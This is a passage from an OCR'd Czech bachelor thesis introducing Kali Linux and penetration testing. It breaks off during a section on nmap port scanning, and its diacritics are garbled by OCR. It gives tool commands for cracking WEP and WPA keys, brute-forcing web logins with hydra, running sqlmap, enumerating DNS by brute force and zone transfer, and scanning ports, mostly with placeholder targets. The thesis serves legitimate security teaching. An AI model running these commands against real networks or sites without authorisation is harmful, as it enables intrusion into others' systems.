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Anotace:

Nazev: Pocitacova bezpecnost s vyuzitim OS Kali Linux

Bakalatska prace se zabyva tématikou pocitacové bezpecnosti s vyuzitim opera¢niho
systému Kali Linux. V tvodni ¢asti prace je operacni systém kratce predstaven. Hlavni ¢ast
prace je zaméiena na penetracni testovani a predstaveni nastrojii souvisejicich s jednotlivym
fazemi bezpecnostniho auditu. V zavéru prace je proveden bezpecnostni test na virtudlnim

stroji s operacnim systémem Metasploitable.

Annotation:

Title: Computer security and operating system Kali Linux

The Bachelor Thesis is focused on computer security with use of the Kali Linux
operating system. In the beginning, the operating system is briefly introduced. The main part
of the bachelor thesis aims at penetration testing and introduction of tools that are helpful with
particular phases of security audit. At the end of the bachelor thesis, there is a security audit

example on virtual machine using Metasploitable as its operating system.
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1 Uvod

Je doba informace — informacni vék. Internetem proudi neuvéfitelné mnozstvi dat. Ko-
munikace probiha pievazné po siti. Poéita¢ uz neni jedinym uzlem v této pavuéing. Do sité je
nyni mozné Se piipojit pies mobilni telefony, tablety a televize. Vznikaji inteligentni budovy,
kdy je napiiklad cela domacnost fizena po internetu. Firmy propojuji své pobocky vzdalené
tisice mil od sebe. S nastupem novych technologii se clovek snazi usnadnit si zivot. Na druhou
stranu se lze ¢im dal Casté&ji docist o utocich hackeru.

Pocitatova bezpecnost je v soucasné dobé médii hodn¢ diskutovanym tématem. Zahr-
nuje Sirokou oblast, kam patii nejen zabezpeCeni hardware a software firmy, ale naptiklad i
vzdélavani persondlu o moznych rizicich a vypracovavani krizovych pland. Firmy si ¢im dal
Castéji najimaji IT odborniky, védomy si hroziciho nebezpeci.

K testovani pocitacové bezpec€nosti slouzi takzvané penetracni testy. Tyto testy se
skladaji z n¢kolika fazi a maji za cil simulovat postup Uto¢nika a odhalit tak chyby v pocita-
covych systémech. Na zakladé vysledki téchto testil jsou pak piijata protiopatieni a organi-

zace muze byt lépe zabezpecena.



2 Kali Linux

Kali Linux je bezplatna linuxova distribuce odvozena od distribuce Debian. Jedna se
o pokrocilou distribuci ur¢enou k penetranimu testovani a bezpeCnostnim auditim.
Piedchudcem Kali (mysleno Kali Linux) je BackTrack. Kali dodrzuje vyvojové standardy
Debianu. Obsahuje vice nez 300 néstroji pro penetracni testovani. Implementuje Filesystem
vetsina nastroju je v anglic¢tin€. Podporuje systémy zalozené na ARM architektuie. Rozdilem
oproti ostatnim linuxovym distribucim je vyuziti superuzivatele (root). Zatimco na ostatnich
distribucich je uzivatel nabadan k pouzivani prav bézného uzivatele, uz z povahy Kali Linux
toto neni mozné. VétSina néstroju totiz vyzaduje rootovska prava. Odstranéni bezpecnostni
vrstvy mezi operacnim systémem a uzivatelem je jednim z divodu, pro¢ Kali neni distribuce
vhodna pro zac¢inajici uzivatele. Dal§im rozdilem je defaultni zdkaz vétSiny sitovych sluzeb.
Povolené¢ a zakizané sluzby mulzeme zobrazit/editovat v takzvanych blacklistech a
whitelistech. Jedna se o slozku /usr/sbin/update-rc.d. Sluzbu lze ptidat do whitelistu pomoci

ptikazu:

root@kali:~# update-rc.d <nazev sluzby> enable

Analogicky disable. Poslednim rozdilem je vyuziti tzv. Upstream kernel. CoZ znamena, ze

Kali nema vlastni kernel (jadro), ale vyuziva kernel jinych distribuci (konkrétné Debianu). !

2.1 Instalace

Kali Linux je mozné stahnout jako iso soubor. K dostani je jak v 32, tak 64 bitové
verzi. Soubory je doporucené stahovat z oficialnich stranek? a po stazeni porovnat kontrolni
sumu (shal checksum), zdali nedoslo k manipulaci. Dale je mozné Kali stahnout jako
VMware virtualni stroj. VMware obraz existuje ve 32 bitové PAE (Physical Address Exten-
sion) verzi. Posledni moznosti je stazeni ARM obrazu. Pro jednotliva ARM-orientovana zafi-
zeni je tfeba stahnout pfislusny obraz. Kali linux je moZné instalovat z CD a USB. V pfipadé,
Ze zatizeni nema CD mechaniku ani USB porty, Ize vyuzit PXE (Preboot eXecution Environ-
ment) a nabootovat tak Kali ze serveru. Od verze 1.0.7 Ize také nov¢ ptidat perzistenci do Live
Kali bootovaného z USB. Znamena to, ze zmény, které v systému provedeme, se zapisi na

USB médium. Jednou z moznosti je instalace Kali z mini obrazu. Pro instalaci Kali Linux

! Vice o Kali Linux na adrese http://docs.kali.org/introduction/what-is-kali-linux

2 http://www.kali.org/downloads


http://docs.kali.org/introduction/what-is-kali-linux

Mini I1SO je doporuceno rychlé ptipojeni k internetu, jelikoz se z internetu vétsina baliki (pac-
kage) stahuje. Pii instalaci je moZné zagifrovat cely disk, nebo jen jeho &ast. Sifrovat se da i

USB zafizeni. Postup je stejny, lisi se pouze vybérem oddilu.

2.2 Obecneé

Kali 1ze spoustét i bez instalace a to pomoci tzv. Live buildd. Live buildy jsou ke
stazeni na oficidlnich strankach, nicmén¢ je i mozné vytvoteni a ptizpisobeni vlastniho Live
buildu. Na strankach Debianu? je uveden manual a popis, jak live build vytvorit. Kali de-
faultné pouziva prostiedi Gnome®*. V Souboru config/package-lists/kali.list.chroot se d4 de-
faultni prostiedi pred instalaci zménit. Toho lze vyuzit zejména pii vytvareni Live buildu. Po
instalaci systému ptichazi na fadu aktualizace. Updaty aplikaci a kernelu se v linuxovych sys-
témech stahuji z tzv. repositories. Repositories si lze piedstavit jako internetova uloziste, kde
se daji nalézt nejnovejsi zdrojové kody. Adresa vedouci k témto ulozistim se da editovat v
souboru /etc/apt/sources.list. S bali¢ky se da manipulovat pomoci ptikazi dpkg a apt. Pri¢emz
utilita apt hlida zavislosti na ostatnich bali¢cich. Vzhledem k implicitnim pravomocem uziva-

tele root je mozné¢ piikaz sudo vynechat.

root@kali:~# apt-get install <jméno balicku>

V priloze €. 1 se nachazi skript na aktualizovani Kali.

Po instalaci by se v souboru sources.list méli nachazet dvé adresy. Jak uvadi vyvojafi sys-
tému Kali [1], neni doporucené piidavat dalsi a zejména neoficialni zdroje, nebot’ by mohlo
dojit k poskozeni systému. Kali defaultné obsahuje vétsinu ovladaci, avsak pro grafické karty

od spole¢nosti nVidia je tfeba je nainstalovat. Postup jak toho docilit je popséan na oficialnich
strankach Kali. Oficidlni IRC kanal lze nalézt na siti Freenode s ndzvem #kali-linux. Kali

dale pouziva 3 hlavni repositories, které jsou celosvétove zrcadleny.
Jedna se o:
= http.kali.org — hlavni package

= security.kali.org — security package
= cdimage.kali.org — repositories s ISO obrazy.

3 http://live.debian.net/manual/3.x/html/live-manual/examples.en.html
4 Cteme [genome]



Oficialni stranky jsou:

= kali.org — hlavni stranka s novinkami

= docs.kali.org - dokumentace

= forums.kali.org — forum

= bugs.kali.org — hlaseni chyb

= git.kali.org — sledovani vyvoje projektu

2.3 Prvni spusténi

K zavadéni systému Kali pouziva tzv. GRand Unified Bootloader (GRUB). Vychozi
ptihlasovaci jméno je nastaveno na root a heslo na toor. K zobrazeni grafického uzivatelského
rozhrani je, jako u vétSiny UNIX-like systému, pouzit X Window System. Hlavni obrazovka
Kali obsahuje horni listu se zalozkami, plochu s ikonou Computer, a také spodni listu s piepi-
nacem pracovnich ploch. Zalozky na horni listé jsou Applications, Places, prohlize¢ a termi-
nal, datum a Cas, posta, ovladani hlasitosti a bluetooth, nastaveni sitového piipojeni a ikona
S bublinou a uzivatelskym jménem, ktera slouzi obdobné jako ikona Start u OS Windows.
Nejzajimavejsi je zalozka Applications. Menu Applications obsahuje dalsi zalozky s pro-
gramy. Daji se zde nalézt programy pro spravu systému (zélozka System Tools), zakladni
balik programti (Accessories), programy pro praci s grafikou, kancelatské programy, utility
tykajici se elektroniky a programovani a dal$i. Stézejni je vSak zalozka Kali Linux. Ta obsa-
huje vétSinu nejpouzivangjSich nastrojii ur€enych k testovani bezpecnosti. Tyto néstroje jsou

navic rozdéleny do dalSich zalozek podle ucelu. Nejuzivanéjsi nastroje 1ze navic nalézt na

zalozce Top 10 Security Tools.

Applications  Places ‘@ [ Thu Mar 19, 6:05 AM
Accessories
%0 Electronics
B Graphics

@@ Hamradio

@ internet

3
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3 Pocitacova bezpeénost

Pocitacova bezpecnost je Siroky pojem pokryvajici témata jako je zabezpeceni aplikaci,
zabezpecCeni sitovych zafizeni, ochrana server a systému pied Zivelnymi pohromami a fyzic-
kou bezpecnost, tedy ochranu naptiklad mistnosti se servery pomoci zamki. Spada sem i $ko-
leni zamé&stnanci firmy ohledné bezpecénosti, vypracovani krizovych planu, dodrzovani norem
atd. Penetra¢ni testy maji na starosti predevsim bezpe¢nost za pouziti informac¢nich technolo-
gii. To znamena, jaké informace miize potencionalni Gto¢nik vybaveny pocitacem ziskat, jaké
Skody mtize zptisobit, zkratka jak mize ovlivnit chod dané organizace. Na zakladé porozu-

méni typtim utokl je pak mozné sit’ chranit.

3.1 Socialni inzenyrstvi

Jedna se o zpisob manipulace s lidmi za Géelem ziskani informaci. V informatice je
socialni inzenyrstvi ¢asto spojovano s tzv. phisingem®. Phising se pouzivéa k oklaméni uziva-
tele pomoci vytvoreni zdanlivé davéryhodného obsahu za Gi¢elem ziskani informaci — nejéas-
t&ji uzivatelského jména a hesla k G¢tiim. Velmi Casté jsou ptipady vytvoieni webovych stra-
nek, které maji stejny vzhled jako stranky bankovnich aplikaci, ptihlasovaci stranky do soci-
alnich siti, internetovych obchodti atp. Casto jsou odkazy na tyto stranky odesilany spolu
s privodnim dopisem, ktery se snazi uZivatele presvédcit, aby se pies uvedeny odkaz ptihlasil
do webové aplikace. Po kliknuti na odkaz a uvedeni pfihlasovacich tdaja, byva uzivatel pie-
smérovan na pozadované stranky, nicméné jeho piihlaSovaci udaje nyni zna i uto¢nik. Pro
spusténi utoku vyuzivajiciho socialni inZzenyrstvi je v Kali k dispozici framework, tedy ro-

bustni nastroj, s nazvem SET.

SET (Social Engineering Toolkit)

Pomoci frameworku SET je mozné vytvofit napi. upraveny pdf ¢i spustitelny exe sou-
bor, ktery na infikovaném pocitaci otevie reverzni piikazovou fadku. SET se spousti piikazem

setoolkit.

5 Cteno [fising]



root@kali:~# setoolkit

1) Spear-Phishing Attack Vectors

2) Website Attack Vectors

3) Infectious Media Generator

4) Create a Payload and Listener

5) Mass Mailer Attack

6) Arduino-Based Attack Vector

7) Wireless Access Point Attack Vector
8) QRCode Generator Attack Vector

9) Powershell Attack Vectors

10) Third Party Modules

Program SET spolupracuje s nastrojem Metasploit, ktery bude pfedstaven v dalSich

kapitolach.

3.2 Bezdratové utoky

Slabinu bezdratovych siti pfedstavuje predevsim fakt, Ze operuji na druhé vrstvé OSI.
Pokud tedy neni bezdratova sit’ nakonfigurovand jako VLAN, tedy virtudlni lokalni sit’, hrozi
zde veliké nebezpeci kvili moznosti piesmerovani veskerého provozu pomoci Address Reso-
lution Protokolu (ARP). Existuje n¢kolik typt Sifrovani, kterymi lze bezdratové sité zabezpe-

Cit.

WEP a WPA
Wireless Equivalent Privacy neboli WEP. Jedna se o typ Sifrovani, ktery byva de-

faultn€ nastaven u vétSiny bezdratovych zafizeni. Zaroveii se jedna i o nejslabsi mozny zpiisob
zabezpecCeni bezdratové sité a nejsnaze prolomitelny. Jeden z nejcastéjSich utokd, ktery se na
bezdratové sité provadi je tzv. utok Flunder, Mantin a Shamir (FMS) jak uvadi [2]. V OS Kali
se k prolamovani bezdratovych siti pouziva program Aircrack-ng. Pro pfepnuti sitové karty

do tzv. promiskuitniho rezimu, kdy je naslouchano veskeré komunikaci, slouzi skript airmon-

ng.

root@kali:~# airmon-ng start <rozhrani> <kanal>

Na druhé vrstvé OSI modelu je pocita¢ identifikovan na zakladé MAC adresy, kterd je z IP
adresy rozlusténa pomoci ARP protokolu. Ke zméné MAC adresy slouzi program macchan-

ger.



root@kali:~# macchanger -r wlan@

Current MAC: 00:0c:29:3d:60:dd (VMware, Inc.)
Permanent MAC: ©0:0c:29:3d:60:dd (VMware, Inc.)
New MAC: 9a:e3:9f:3c:0d:c4 (unknown)

V piikladu byl uveden piikaz macchanger s piepina¢em r pro nahodnou MAC adresu pro
bezdratové rozhrani wlan0.

K zaznamenani komunikace slouzi skript airodump-ng.

root@kali:~# airodump-ng --bssid <macAdresaAP> -c <kanalAP> -w
<vystupniSoubor>

Pro vytvofeni asociace S pfistupovym bodem a zasilanim dat slouzi program aireplay-ng.

root@kali:~# aireplay-ng <utoc¢ny méd> -b <macAdresaAP> -h <zdro-
jovaMacAdresa>

K rozlusténi WEP klice slouzi program aircrack-ng.

root@kali:~# aircrack-ng -b <macAdresaAP> vystupniSoubor.cap

Prolomeni WPA neboli WiFi Protected Access 1ze pouzit stejni postup jako pii prolamovani

WERP Sifrovani s rozdilem v posledni fazi, kdy je k rozlusténi klice pouzit slovnik.

root@kali:~# aircrack-ng -w <slovnik.txt> vystupniSoubor.cap

3.3 Utoky na hesla

Hesla se v systémech nenachazi jako prosty text, ale vétsinou projdou tzv. heSovacim
algoritmem. Existuje nékolik moznosti a technik, jakymi se daji hesla prolomit. Existuji Mar-
kovovy fetézce (Markov chains), duhové tabulky (rainbow tables), utoky hrubou silou (brute-
force attacks) a dalsi metody. V Kali jsou nastroje na prolamovani hesel rozdéleny do katego-
rii. V zasade¢ se jedna o programy na prolamovani hesel na webovych formulatich, tedy online,
kde vévodi nastroje hydra a medusa a nastroje pro prolamovani hesel offline, zde je znamy
JohnTheRipper, nebo hashcat

Uziti nastroje Hydra je nésledujici:

root@kali:~# hydra <adresa> <metoda> <“formular:user-
name=~USER"&password="PASS”:invalid“> -L loginSoubor -P password-
Soubor

Pti uziti metody Markovovych fetézcl se uziva pravdépodobnost nésledujiciho pis-

mena ¢i znaku na zaklad¢é ptedchoziho znaku, jak je uvedeno v [3]. Na ttoky hrubou silou,



tedy brute-force utoky, jsou tfeba slovniky. Proto se jim také n¢kdy fika slovnikové utoky.
Funguji na principu dosazovani jednotlivych slov, vétsinou do poli uzivatelské jméno (user-
name) a heslo (password) a sledovani odpovédi na odeslany formulaf. Znamena to, ze pred
zapocetim takovéhoto tutoku je tieba zjistit, co napi. webova stranka odesle jako odpovéd’ na
nezdafeny pokus o nalogovani do systému. Poté je provadén slovnikovy utok do té doby,
dokud se odpovéd’ serveru nelisi od negativni odpovédi, tedy dokud neni nalezena spravna
kombinace uzivatelské jméno-heslo, nebo dokud nedojdou veskeré moznosti a slova ve slov-
niku.

V ptipad¢ prolamovani hesel offline je mozné vyuzit duhovych tabulek, takzvanych
rainbow tables. Jedna se o soubor vétsinou s pfiponou rt, kde jsou ulozena hesla, ktera jiz
prosla hesovacim algoritmem a k nim ptidruzena hesla v prostém textu (tzv. plain-textova
hesla). Naptiklad, pokud byla ziskana databazi s uzivatelskymi jmény a hesly, ktera jsou za-
hesovana je mozné pouzit pravé rainbow tables k rozlusténi skute¢nych hesel. Pokud by byl
na prolomeni hesel pouzit béZzny slovnik s hesly v prostém textu, tak v ptipad¢ kazdého po-
kusu o prolomeni hesla by se ptivodni heslo muselo nékam ulozit, poté projit heSovaci funkci
avysledny hes pak porovnat s heSem v databdzi, a takto by se testovani opakovalo pro vS§echna
plain-textova hesla ve slovniku. ReSenim tohoto problému je ,,pfedgenerovani* takovéhoto
souboru. Pti hledani spravné kombinace se pak pouze hledaji shodujici se vysledné hese a
nedochazi ke zbytecnym matematickym vypoctim. Cely proces lze urychlit pouZitim médii
s vysokou pfenosovou rychlosti — napiiklad SSD diskt, ptipadné, jak uvadi [4], vyuzit distri-
buovanych operacnich systémi.

Kali obsahuje i program pro generovani hesel ze zadanych znakovych sad a kombinaci
znaku. Programu staci zadat znaky, ze kterych se ma slovnik generovat a interval po¢tu znaki.
Tedy naptiklad pro vygenerovani jednomistnych az trojmistnych hesel ze znakt abcdefgh123,

lze pouzit:

root@kali:~# crunch 1 3 abcdefghl23 -o slovnik.txt

Je mozné i vygenerovat vlastni duhovou tabulku ptikazem rtgen:

root@kali:~# rtgen <algoritmus> <znakova sada> <minRozsahu> <ma-
xRozsahu>




3.4 Webové utoky

Jak uvadi autor v [5], bezpeénost webovych aplikaci se v této dob¢ dostava do popiedi,
hlavné diky faktu, kdy dochazi k nartistani poctu Gitoku na webové servery. Stale vétsi mnoz-
stvi lidi nakupuje pfes internet. Vétsina lidi spravuje své internetové bankovnictvi pies we-
bové aplikace a nejen proto je zabezpeceni na misté. Co se tyka metodologie ovéfovani bez-
pecnosti webovych aplikaci, postup a jednotlivé faze jsou totozné s fazemi penetracniho tes-
tovani uvedeného nize. Pfedstaveny budou nejbéznéjsi typy utoku - cross-site scripting a sql
injection. Cross-site scripting, oznac¢ovan zkratkou XSS, cili zejména na uzivatele a vyuziva
skriptovaciho jazyka javascript. SQL (Structured Query Language) injection se zaméfuje pie-

devsim na databazové servery bézici pod webovou aplikaci a vyuziva dotazti SQL.

XSS
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Jak uvadi [6], 75% webovych aplikaci je nachylnych na XSS. Nejjednodussi testovani
webovych stranek na nachylnost k provedeni XSS lze provést pomoci vlozeni skriptu do for-

mulafového pole.

Obrazek 2 XSS vloZeni do vyhledavaciho pole. Zdroj: Daniel Buival

V ptipadé, Ze se objevi vystrazné vyskakovaci okno, je web nachylny.

Obrazek 3 XSS spusténi skriptu a zobrazeni ,,alertu®. Zdroj: Daniel Buival

Pomoci XSS, Ize provadét dalsi utoky. Jedna se napiiklad o tzv. Clickjacking, kdy je zdanlivé
neskodny obsah, naptiklad néjaky obrazek, prekryt vnofenym ramem (tzv. iframe) se zapnu-
tou pruhlednosti. Pfi kliknuti na obrazek se vSak vykona skript umisténi pravé v neviditelném
ramu. Dal$im typem utoku, které l1ze provadét pomoci XSS jsou Utoky na autentizaci. Sem
patii tzv. session hijacking, kdy se Uto¢nik vydavd za uzivatele, kterému odcizil ,,C0-

okie“(identifikator sezeni), identifikujici sezeni.



SQL Injection

SQL (Structured Query Language) neboli strukturovany dotazovaci jazyk, je progra-
movaci jazyk, ktery se pouziva pfi manipulaci s databdzi. Pfi nespravné oSetfenych vstupech
a nedostate¢né kontrole je mozné, aby utocnik ziskal data z databaze, ke kterym by nem¢él mit
pristup. Odeslani skodlivého kodu do databaze se obvykle déje pres vstupni pole formulait.

V Kali se nachazi nastroj sqlmap.

root@kali:~# sqlmap -u http://www.domena.com/clanek.php?id=5

3.5 Anonymita a proxy

Pro anonymni surfovani na internetu 1ze pouzit virtualni privatni sit€ neboli VPN. Na
internetu existuje nékolik webovych stranek, které tuto sluzbu nabizeji. Jedna se napiiklad o
anonymizer.cz, zahrani¢ni hidemyass.com a dal$i. Mezi nejznamé;jsi aplikace patii TOR, coz

je zkratka pro The Onion Router, ¢esky - cibulovy router.

Congratulations!

This browser is configured to use Tor.

You are now free ro browse the Internet anonymously.
Test Tor Network Seftings

[ EN

Search securely with Staripage.

Obrazek 4 Vyhledava¢ TOR. Zdroj: Daniel Buival

Anonymita je dosazena zietézenim nckolika proxy serverii. To znamend, Ze pokud je vyslan
Z hostitelského pocitate pozadavek na né€jakou doménu, projde nejprve skrze proxy server,
ktery zméni zdrojovou IP adresu. Po pfijeti dotazu na pocitaci s danou doménou se pak poza-
davek jevi jako pozadavek, ktery dorazil z proxy serveru a nikoliv z uzivatelova pocitace.
V Kali se nachazi program proxychains. V souboru /etc/proxychains.conf Ize proxychains
konfigurovat. Pokud nejsou uvedeny zadné proxy servery manualné, pak je vyuZita sit’ tor.
K aplikaci TOR byla napsana knihovna v programovacim jazyce python, ktera slouzi k psani
skripti (,,skriptovani®). Jedna se o knihovnu STEMS®. Lze ji nainstalovat ptes program aptitude

piikazem:

root@kali:~# apt-get install python-stem

6 Vice na https://stem.torproject.org/
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4 Penetracni testovani

Penetraéni testovani se obvykle dé€li do péti krokti. Jedna se o sbér informaci, vyhod-
noceni slabych mist, vyuziti slabin, zvySeni prav a zajisténi opétovného ptistupu. Tyto kroky

simuluji potencidlni ito¢nikv postup.

4.1 Sbér informaci

Pti sbéru informaci se utocnik snazi ziskat informace o systému, na ktery ma v planu
zautocit. Snazi se proto zmapovat rozsah sité, zjistit oteviené porty a bezici sluzby, zkratka se

dozvédét co mozna nejvice o daném systému a organizaci.

4.1.1 Pasivni sbér informaci

Pasivni sbér informaci neboli snaha zjistit informace o cilové organizaci bez piimé
interakce s cilem. K obdrzeni informaci se daji pouzit nejriiznéjsi techniky - od vyhledavacich

engint, ptes dotazy do databaze s doménami, az po webové stranky dané organizace.

Google

Google podporuje nejrizngjsi filtrovani pii vyhledavani. Uzite¢né operatory pii vy-
hledavani mohou byt: site,inurl,filetype, intitle a intext. Databaze nejen s poslednimi zajima-

vymi dotazy Ize nalézt na adrese http://www.exploit-db.com/google-dorks/. Databaze obsa-

huje datum pfidani, vyhledavani, nadpis a také kategorii. Pomoci tohoto typu vyhledavani se
daji nalézt napt. soubory obsahujici hesla, nachylné servery, citlivé slozky, nejriznéjsi typy

online zatizeni jako napt. CCTV kamery a dalsi.
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http://www.exploit-db.com/google-dorks/

Pti testovani konkrétni organizace lze tento vyhledavaci engine pouZzit napf. pro vy-

hledani sub-domén.

site:uhk.cz -site:www.uhk.cz i ] “

Internet Obrazky Zpravy Nakupy Mapy Vice = Wyhledavaci nastroje

Stranka 5 z priblizné 98 900 vysledki (0,12 s

Jak prezit apokalypsu - Uved - Lide na UHK
lide.uhk.cz/cerenjal ~
Popis zplisobl pfeZiti v post-apokalyptickém svété. Uvodni slova

Mascil Math and Science for Life

ris.uhk.cz/mascil/ ~ PeloZit tuto stranku

Setkani mezinarodniho tymu feSitell v Heraklionu. Ve dnech 9. — 12 prosince 2013 se
uskuteénilo druhé setkani fesiteld projektu MaScil v Heraklionu na

Akademicky filmovy klub UHK

pdf.uhk.cz/af ~

Studenty oblibeny Akademicky filmovy klub na univerzité funguje jiZ nékolik let. V
minulych letech byl filmovy klub uréen predevdim studentim a pedagogim

FBK Ji¢in - Home - Lide na UHK

lide.uhk cz/machomaz ~

FBK Jigin klub s dlouholetou tradici. Byl zaloZen 1.5.2001. Florbalovy oddil Fbk Jigin
patii mezi (sp&iné florbalové kluby v Ceské republice. FBK Jigin sdruZuje

AMIF 2010 - Ambient Intelligence Forum 2010

fim.uhk cz/amif/ ~ Pfelofit tuto stranku

The Ambient Intelligence Forum 2010 is the third conference of its kind in Central
Europe. It is a conference trying to unite the three main pillars of Ambient

Obrazek 5 Google dotaz s filtrem site. Zdroj: Daniel Bui'val

Vycet e-mailovych adres

The Harvester je nastroj napsany Christianem Martorellou. Vyuziva stranek Google,
Bing, LinkedlIn, Jigsaw a Twitter. Pouziva se pfedev§im ke sbéru emailovych adres, nicméné

ve vypisu utility je k nalezeni i vy¢et domén a mapovani doména-IP adresa.

Whois

Whois je TCP sluzba bézici na portu 43. V Kali je k nalezeni stejnojmenny nastroj,
ktery vyhledava ve vetejné dostupnych Whois databazich. Zaznamy v téchto databazich ob-

sahuji jmenny server, registratora domény a kontaktni informace.

Recon-ng

Jedna se o framework psany v Pythonu uréeny k prizkumu. Recon-ng je open-source
nastroj. Obsahuje databazi modult, které 1ze vyuzit k prizkumu, vytvareni zprav (reportt),
exploitovani (z anglického exploit, tedy vyuzivani slabin), obsahuje moduly na import z csv
souboril a seznamtl, a dalsi. Ovladani se napadné podoba nastroji Metasploit, ktery bude pied-

staven v nasledujicich kapitolach. Recon-ng lze spustit z terminalu pomoci:

root@kali:~# recon-ng
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Mezi zékladni prikazy patii show, search, use, set a run. Pikazem search lze vyhledavat

nejen moduly, ale ve vétSin€ zaznami v databazi.

[recon-ng][default] > search whois
[*] Searching for 'whois'...

recon/companies-multi/whois_miner
recon/domains-contacts/whois_pocs
recon/netblocks-companies/whois_orgs

Pro pouziti vybraného modulu se vyuziva piikaz use.

[recon-ng][default] > use recon/domains-contacts/whois_pocs

K zobrazeni atributd modulu, které je tieba zadat pied jeho pouzitim, slouzi ptikaz show op-

tions.

[[recon-ng][default][whois_pocs] > show options

Name Current Value Required Description

SOURCE default yes source of input (see
‘show info' for details)

Pro nastaveni atributd modulu se pouZziva piikaz set [jmeno_atributu] [hodnota_atributu].

V tomto piipad¢ nasledovné:

[recon-ng][default][whois_pocs] > set SOURCE www.nejakadomena.com

Jakmile jsou nastavena vSechna povinné pole modulu, je moZné jej spustit. Recon-ng se 1isi
prave v této posledni fazi od jiz zminovaného Metasploitu. Recon pouZiva pro spusténi piikaz
run, zatimco Metasploit ptikaz exploit.

Tedy:

[recon-ng][default][whois_pocs] > run

4.1.2 Aktivni sbér informaci

Po fazi pasivniho sbéru ptichazi na fadu sbér aktivni. Pfi aktivnim sbéru informaci se

vyuzivaji sluzby, které uz se n€jakym zptisobem tykaji dané organizace.
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Vycet DNS

Doménové jmenné servery tvoii zaklad internetu. Slouzi k piekladu doménovych
jmen na IP adresy a opa¢né. Jedna se o servery udrzujici si databazi se zaznamy o jmennych
serverech, e-mailovych serverech a dalSich. K ziskani informaci z DNS serveri slouzi nastroj

host. Pouziti nastroje host je nasledujici:

root@kali:~# host www.nejakadomena.com

Host se s pomoci bash skriptu a wordlistu da vyuzit k vyhledani serverd pomoci hrubé
sily. Vyuziva se piitom bézn¢ pouzivanych nazvi (jako u vétSiny brute-force utokii) sluzeb,
pficemz soubor wordlist.txt obsahuje mozné nazvy sluzeb. Z vysledku je pak ptikazem grep

vracena jen mnozina, ktera byla Gspésné ,,rozlusténa‘“ a ma tak ptidélenou IP adresu.

root@kali:~# for ip in $(cat wordlist.txt);do host $ip.nejaka-
domena.com;done | grep ,has address*

Jak jiz bylo zminéno, DNS servery obsahuji nejriiznéjsi typy zaznamil, mezi nimiz se
nachazi zaznam typu PTR. Piedchozi zaznamy, které pfifazuji doméné IP adresu, jsou za-
znamy typu A (pro IPv4 adresu). Zaznamy typu PTR naopak ptitazuji IP adrese doménu. Opét

pomoci bash skriptu a nastroje host, 1ze vyzkouset utok hrubou silou — tentokrat rekurzivni.

root@kali:~# for ip in $(seq 50 70);do host 1.1.1.$ip;done | grep
,sname pointer

Jednotlivé domény spravuji doménové jmenné servery. Tyto servery vSak vétSinou nespravuji
celou doménu, nybrz jenom jeji ¢ast — zonu. Nespravné nakonfigurovany DNS server muze
umoziovat pfenos zony i bez autorizace. Jedna se v podstaté o kopirovani databaze. Syntaxe

je host —I [domena] [adresajmennehoserveru].

15



Tedy:

root@kali:~# host -1 nejakadomena.com jmennyserver.nejakado-
mena.com

V Ptiloze €. 2 1ze najit bash skript, ur€eny k automatizaci téchto tkontl.

V Kali existuje nékolik dalSich nastroji, které lze pouzit k dotazovani DNS serveru. Za

zminku stoji skript dnsrecon, ktery disponuje velkym mnozstvim moznosti.

Skenovani portt

Pii skenovani portd se vyuziva charakteristik protokolu TCP/UDP. V Kali Linux lze
nalézt nastroj zvany nmap. Jedna se o jeden z nejpopularné;jsich nastrojti pro skenovani portt.
Diikazem oblibenosti tohoto nastroje je i jeho umisténi v Top 10 Security Tools v menu. Exis-
tuje nékolik typl skent. Lisi se podle miry navazani spojeni a vV zapnutych pfiznacich da-
tagramu. Mezi nejbéznéjsi typy skent patii: connect(), SYN/ACK, ptipadn¢ XMAS/NULL.

Connect() sken vyuziva systémového volani k navazani plného spojeni - dojde k pro-
cesu, ktery se nazyva three-way handshake [7]. Tento typ navazani spojeni se zpravidla zapi-

suje do logt.

192.168.73.139 192.168.73.138 TCP 74 37572 = http [SYN] Seg=0 Win=29200 Len=0 MSS=1460 SACk
192.168.73.138 192.168.73.139 TCP 74 http = 37572 [SYN, ACK] Seq=0 Ack=1 Win=5792 Len=0 MSt

192,168.73.139 192.168.73.138 TCP 66 37572 = http [ACK] Seg=1 Ack=1 Win=29312 Len=0 TSval=:

Obrazek 6 Vystup z programu Wireshark pro three-way handshake. Zdroj: Daniel Buival
Syntaxe v programu nmap s vysledky pro typ skenu connect() mliZze vypadat nasledovné:

root@kali:~# nmap -sS -p 80 192.168.73.138

Starting Nmap 6.47 ( http://nmap.org ) at 2015-03-11 18:23 EDT
Nmap scan report for 192.168.73.138

Host is up (0.00040s latency).

PORT STATE SERVICE

80/tcp open http

MAC Address: 00:0C:29:19:F8:04 (VMware)

SYN/ACK sken nenavazuje plné spojeni, ale z pocitace se odesle SYN paket. V pfi-
pad¢ obdrzeni odpovédi SYN/ACK uz nejsou zadné pakety odesilany a port je oznacen za
otevieny. Tento typ skenu je oznafovan za tzv. ,stealth” sken. Tedy jakysi skryty sken — je

zde mensi Sance zapisu do logt.
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Source Destination Protocol | Lengtt | INFO

192.168.73.139 192.168.73.138 TCP 58 47930 = http [SYN] Seq=0 Win=1024 Len=0 MSS=1480
192.168.73.138 192.168.73.139 TCP 60 http = 47930 [SYN, ACK] Seq=0 Ack=1 Win=5840 Len=0 MSS=14850
192.168.73.139 192.168.73.138 TCP 54 47930 = http [RST] Seq=1 Win=0 Len=0

Obrazek 7 Vystup z progrmau Wireshark pro SYN/ACK sken. Zdroj: Daniel Buival
Syntaxe pro nmap:

root@kali:~# nmap -sT -p 80 192.168.73.138

Skenovani se tyka i portit UDP. Zde je vSak odpovéd’ na dany UDP datagram odlisna.
V ptipadé otevieného portu se zaddnd odpovéd nezasila. V piipadé portu uzaviené¢ho se
hostiteli zasle chybova odpovéd’. Vzhledem k tomu, ze vétsina firewalli nepropousti pakety

ICMP, je tento typ skenovani nespolehlivy.

Source Destination Protocol | Lengtl | INFO
192.168.73.139 192.168.73.2 DNS 87 Standard query 0xSh02 PTR 138.73.168.192.1in-addr.arpa
192.168.73.2 192.168.73.139 DNS 87 Standard query response 0xSho8 Mo such name

192.168.73.139 192.168.73.138 82 V2 NULL call (Reply In &)
192.168.73.138 192.168.73.139 NFS 66 V2 NULL Reply (call In s)

192.168.73.138 94 Destination unreachable (Port unreachable)

Obrazek 8 Vystup z progrmau Wireshark pro UDP sken. Zdroj: Daniel Bui'val
Se syntaxi:

root@kali:~# nmap -sU -p 80 192.168.73.138

Je tfeba fici, Ze mnozstvi provozu vygenerované nastrojem nmap je zna¢né a pii nerozvazném
